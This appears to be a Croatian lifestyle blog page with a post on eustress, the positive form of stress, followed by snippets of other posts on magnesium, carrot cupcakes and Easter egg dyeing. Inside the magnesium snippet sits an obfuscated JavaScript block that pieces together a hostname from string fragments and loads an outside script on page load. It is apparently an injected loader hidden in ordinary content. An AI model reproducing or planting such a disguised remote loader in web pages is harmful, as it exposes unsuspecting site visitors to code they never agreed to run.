EUSTRES - KAKO MOŽE POBOLJŠATI VAŠ ŽIVOT





Eustres - kako može poboljšati vaš život 




O stresu uglavnom govorimo u negativnom smislu – onaj stres koji pogoršava san, prehranu, okupira nam misli. Ipak, često zaboravljamo da je stres obična prirodna reakcija našeg tijela na situacije koje prepoznaje kao prijeteće. I dok se s negativnim stresom važno naučiti nositi, postoji i druga strana – pozitivan stres ili eustres.




Što je eustres

Eustres je pozitivan oblik stresa koji potiče motivaciju, povećava energiju i pomaže nam da se uspješnije nosimo s izazovima. Za razliku od distresa, koji izaziva neugodu i može negativno utjecati na fizičko i mentalno zdravlje, eustres se doživljava kao uzbudljiv i koristan

Eustres se najčešće javlja u situacijama koje zahtijevaju prilagodbu, ali koje osoba procjenjuje kao ostvarive i potencijalno korisne. Primjeri uključuju početak novog posla, vjenčanje, rođenje djeteta, polaganje važnog ispita, sportska natjecanja ili rad na izazovnom projektu.



Kako eustres djeluje na nas

Ova vrsta stresa pomaže u održavanju koncentracije i usmjerenosti na zadatke, potiče pojedince na to da prihvate nove izazove te ih motivira na ostvarivanje osobnih i profesionalnih ciljeva. Eustres bi također mogao biti razlog zašto nam je ponekad najlakše neke zadatke napraviti u posljednji tren – kad znamo da će nas “uhvatiti” taj pozitivni adrenalin, vjerujemo da ćemo uspjeti odraditi ono što vjerojatno tjednima odgađamo.




Kako iskoristiti eustres

Suprotno od eustresa, nalazi se distres – onaj, klasični, negativni stres s kojim se često susrećemo. Za početak, važno je razumjeti i prepoznati razlike kako bismo mogli utjecati na svoju reakciju. Čak i istraživanja pokazuju da način na koji procjenjujemo određenu situaciju značajno utječe na to kako ćemo se postaviti. Kad neki događaj doživljavamo kao prijetnju, veća je vjerojatnost da ćemo osjetiti tjeskobu, strah i osjećaj preopterećenosti. S druge strane, ako istu situaciju promatramo kao izazov koji možemo savladati, veća je vjerojatnost da ćemo reagirati motivirano, usredotočeno i proaktivno. Upravo zato razvijanje razumijevanja eustresa može pomoći u promjeni perspektive te olakšati suočavanje sa stresnim životnim okolnostima.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više